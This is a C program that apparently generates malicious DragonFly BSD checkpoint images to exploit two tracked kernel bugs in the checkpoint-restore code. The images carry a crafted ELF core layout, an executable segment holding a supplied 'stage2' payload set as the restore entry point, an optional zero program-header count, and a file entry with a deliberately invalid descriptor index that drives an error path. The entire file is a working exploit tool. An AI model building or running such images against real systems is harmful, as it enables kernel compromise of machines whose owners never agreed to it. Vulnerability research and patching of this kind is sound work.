/*
 * DF-2826 / DF-2827 checkpoint-image generator.
 *
 * Builds a DragonFly checkpoint (CKPT) image with the exact sequential
 * layout consumed by ckpt_thaw_proc() (sys/kern/kern_checkpoint.c):
 *
 *   Elf64_Ehdr | Elf64_Pdr[e_phnum] | notes(phdr[0].p_filesz)
 *   | ckpt_vminfo | int vpcount | ckpt_siginfo
 *   | ckpt_filehdr | ckpt_fileinfo[n] | <pad to page> | segment data...
 *
 * Sizes of kernel-only structures are taken from the guest's own headers
 * via _KERNEL_STRUCTURES, so they always match the running kernel.
 *
 * Usage:
 *   gen ckpt_file stage2.bin phnum_mode
 *     phnum_mode = normal | zero   (zero => e_phnum = 0 for DF-2827)
 */
#define _KERNEL_STRUCTURES
#include <sys/types.h>
#include <sys/param.h>
#include <sys/mount.h>		/* fhandle_t */
#include <sys/elf_common.h>
#include <sys/elf64.h>
typedef Elf64_Ehdr Elf_Ehdr;
typedef Elf64_Phdr Elf_Phdr;
typedef Elf64_Word Elf_Word_SZ;
#define __ELF_WORD_SIZE 64
#include <sys/ckpt.h>		/* ckpt_vminfo, ckpt_siginfo, ckpt_filehdr, ... */
#include <sys/procfs.h>		/* prstatus_t, prpsinfo_t */
#include <machine/reg.h>	/* struct reg, struct fpreg */
#include <sys/fcntl.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int getfh(const char *, fhandle_t *);

/* restored-program layout */
#define STAGE2_ADDR   0x60000000ul
#define STACK_ADDR    0x60001000ul
#define STACK_TOP     (STACK_ADDR + 0x1000 - 8)

static void
putnote(FILE *f, size_t *off, int type, const void *desc, size_t descsz)
{
	Elf_Note n;
	const char *name = "CORE";
	size_t namesz = strlen(name) + 1;

	n.n_namesz = namesz;
	n.n_descsz = descsz;
	n.n_type = type;
	fwrite(&n, sizeof(n), 1, f); *off += sizeof(n);
	fwrite(name, namesz, 1, f);  *off += namesz;
	*off = roundup2(*off, sizeof(Elf_Word_SZ));
	fseek(f, (long)*off, SEEK_SET);
	fwrite(desc, descsz, 1, f);  *off += descsz;
	*off = roundup2(*off, sizeof(Elf_Word_SZ));
	fseek(f, (long)*off, SEEK_SET);
}

static void
die(const char *m) { perror(m); exit(1); }

int
main(int argc, char **argv)
{
	FILE *f, *sf;
	struct stat st;
	unsigned char *s2;
	size_t s2len;
	size_t off = 0;
	int zero_phnum = 0;
	int nphdr;
	long data_off;
	long stack_off;
	Elf_Ehdr eh;
	Elf_Phdr ph[4];
	prpsinfo_t psi;
	prstatus_t pst;
	prfpregset_t fpr;
	struct ckpt_vminfo vmi;
	struct ckpt_siginfo csi;
	struct ckpt_filehdr cfh;
	struct ckpt_fileinfo cfi;
	fhandle_t fh;
	int vpcount = 0;
	unsigned long entry = STAGE2_ADDR;
	int nfiles = 1;

	if (argc < 3) {
		fprintf(stderr, "usage: gen out.ckpt stage2.bin [zero] [entry] [nfiles]\n");
		return 1;
	}
	if (argc > 3 && strcmp(argv[3], "zero") == 0)
		zero_phnum = 1;
	if (argc > 4)
		entry = strtoul(argv[4], NULL, 0);
	if (argc > 5)
		nfiles = atoi(argv[5]);

	/* stage2 blob */
	if (stat(argv[2], &st) < 0) die("stat stage2");
	s2len = st.st_size;
	s2 = malloc(s2len);
	sf = fopen(argv[2], "r");
	if (!sf) die("open stage2");
	if (fread(s2, 1, s2len, sf) != s2len) { fprintf(stderr, "read s2\n"); return 1; }
	fclose(sf);

	/* a valid file handle so ckpt_fhtovp()+fp_vpopen() succeed */
	if (getfh("/etc/passwd", &fh) < 0) die("getfh");

	f = fopen(argv[1], "w+");
	if (!f) die("fopen out");

	/* ---- notes ---- */
	memset(&psi, 0, sizeof(psi));
	psi.pr_version = PRPSINFO_VERSION;
	psi.pr_psinfosz = sizeof(prpsinfo_t);
	strcpy(psi.pr_fname, "stage2");

	memset(&pst, 0, sizeof(pst));
	pst.pr_version = PRSTATUS_VERSION;
	pst.pr_statussz = sizeof(prstatus_t);
	pst.pr_gregsetsz = sizeof(struct reg);		/* gregset_t */
	pst.pr_fpregsetsz = sizeof(struct fpreg);	/* fpregset_t */
	pst.pr_pid = 666;
	pst.pr_reg.r_rip = entry;
	pst.pr_reg.r_rsp = STACK_TOP;
	pst.pr_reg.r_cs = 0x2b;		/* GUCODE sel, RPL 3 -> CS_SECURE ok */
	pst.pr_reg.r_ss = 0x33;		/* GUDATA sel */
	pst.pr_reg.r_rflags = 0x202;	/* IF | 1, user-changeable bits only */
	pst.pr_reg.r_rdi = 0; pst.pr_reg.r_rsi = 0;

	memset(&fpr, 0, sizeof(fpr));

	/* layout offsets */
	nphdr = zero_phnum ? 1 : 3;	/* [0]=NOTE [1]=stage2 LOAD [2]=stack LOAD */
	off = sizeof(Elf_Ehdr) + nphdr * sizeof(Elf_Phdr);
	size_t noteoff = off;
	fseek(f, (long)noteoff, SEEK_SET);	/* seek into reserved hdr space */

	putnote(f, &off, NT_PRPSINFO, &psi, sizeof(psi));
	putnote(f, &off, NT_PRSTATUS, &pst, sizeof(pst));
	putnote(f, &off, NT_FPREGSET, &fpr, sizeof(fpr));
	size_t notesz = off - noteoff;

	/* ---- vminfo ---- */
	memset(&vmi, 0, sizeof(vmi));
	vmi.cvm_dsize = 1;			/* pages, >= 0, < rlimit */
	vmi.cvm_tsize = 1;
	vmi.cvm_daddr = (caddr_t)0x80000000ul;
	vmi.cvm_taddr = (caddr_t)0x400000ul;
	fwrite(&vmi, sizeof(vmi), 1, f); off += sizeof(vmi);

	/* ---- vpcount = 0 ---- */
	fwrite(&vpcount, sizeof(int), 1, f); off += sizeof(int);

	/* ---- siginfo ---- */
	memset(&csi, 0, sizeof(csi));
	csi.csi_ckptpisz = sizeof(struct ckpt_siginfo);
	fwrite(&csi, sizeof(csi), 1, f); off += sizeof(csi);

	/* ---- filehdr + one normal cfi with an out-of-range index ---- */
	memset(&cfh, 0, sizeof(cfh));
	cfh.cfh_nfiles = nfiles;
	fwrite(&cfh, sizeof(cfh), 1, f); off += sizeof(cfh);

	memset(&cfi, 0, sizeof(cfi));
	cfi.cfi_index   = 0x7fffffff;		/* fdalloc() -> EINVAL for sure */
	cfi.cfi_flags   = 0;			/* O_RDONLY   */
	cfi.cfi_offset  = 0;
	cfi.cfi_fh      = fh;			/* valid -> fhtovp+vpopen succeed */
	cfi.cfi_type    = 1;			/* DTYPE_VNODE */
	cfi.cfi_ckflags = 0;			/* normal entry (NOT ISCKPTFD) */
	fwrite(&cfi, sizeof(cfi), 1, f); off += sizeof(cfi);

	/* ---- pad to page, segment data ---- */
	off = roundup2(off, PAGE_SIZE);
	fseek(f, (long)off, SEEK_SET);
	data_off = (long)off;
	fwrite(s2, 1, s2len, f);
	/* stack page must be page-congruent with its vaddr */
	off = roundup2(off + s2len, PAGE_SIZE);
	fseek(f, (long)off, SEEK_SET);
	stack_off = (long)off;
	static const char zpage[4096] = {0};
	fwrite(zpage, 1, sizeof(zpage), f);
	off += sizeof(zpage);

	/* ---- headers ---- */
	memset(&eh, 0, sizeof(eh));
	eh.e_ident[EI_MAG0] = ELFMAG0;
	eh.e_ident[EI_MAG1] = ELFMAG1;
	eh.e_ident[EI_MAG2] = ELFMAG2;
	eh.e_ident[EI_MAG3] = ELFMAG3;
	eh.e_ident[EI_CLASS] = ELFCLASS64;
	eh.e_ident[EI_DATA] = ELFDATA2LSB;
	eh.e_ident[EI_VERSION] = EV_CURRENT;
	eh.e_ident[EI_OSABI] = ELFOSABI_NONE;
	eh.e_ident[EI_ABIVERSION] = 0;
	eh.e_type = ET_CORE;
	eh.e_machine = EM_X86_64;
	eh.e_version = EV_CURRENT;
	eh.e_ehsize = sizeof(Elf_Ehdr);
	eh.e_phentsize = sizeof(Elf_Phdr);
	eh.e_phnum = (zero_phnum) ? 0 : nphdr;
	eh.e_phoff = sizeof(Elf_Ehdr);

	memset(ph, 0, sizeof(ph));
	ph[0].p_type = PT_NOTE;
	ph[0].p_offset = noteoff;
	ph[0].p_filesz = notesz;
	ph[0].p_memsz = 0;
	ph[1].p_type = PT_LOAD;
	ph[1].p_flags = PF_R | PF_W | PF_X;
	ph[1].p_offset = data_off;
	ph[1].p_vaddr = STAGE2_ADDR;
	ph[1].p_filesz = s2len;
	ph[1].p_memsz = s2len;
	ph[2].p_type = PT_LOAD;
	ph[2].p_flags = PF_R | PF_W;
	ph[2].p_offset = stack_off;
	ph[2].p_vaddr = STACK_ADDR;
	ph[2].p_filesz = 4096;
	ph[2].p_memsz = 4096;

	fseek(f, 0, SEEK_SET);
	fwrite(&eh, sizeof(eh), 1, f);
	/* with e_phnum == 0 the reader still reads nbyte = 0 phdrs (no read at
	 * all), so writing the phdr table is harmless for the zero case. */
	fwrite(ph, sizeof(Elf_Phdr), (zero_phnum ? 0 : nphdr), f);
	fclose(f);

	fprintf(stderr, "gen: wrote %s notesz=%zu psinfo=%zu prstatus=%zu fpreg=%zu "
	    "vminfo=%zu siginfo=%zu filehdr=%zu fileinfo=%zu fh=%zu reg=%zu\n",
	    argv[1], notesz, sizeof(prpsinfo_t), sizeof(prstatus_t),
	    sizeof(prfpregset_t), sizeof(struct ckpt_vminfo),
	    sizeof(struct ckpt_siginfo), sizeof(struct ckpt_filehdr),
	    sizeof(struct ckpt_fileinfo), sizeof(fhandle_t), sizeof(struct reg));
	return 0;
}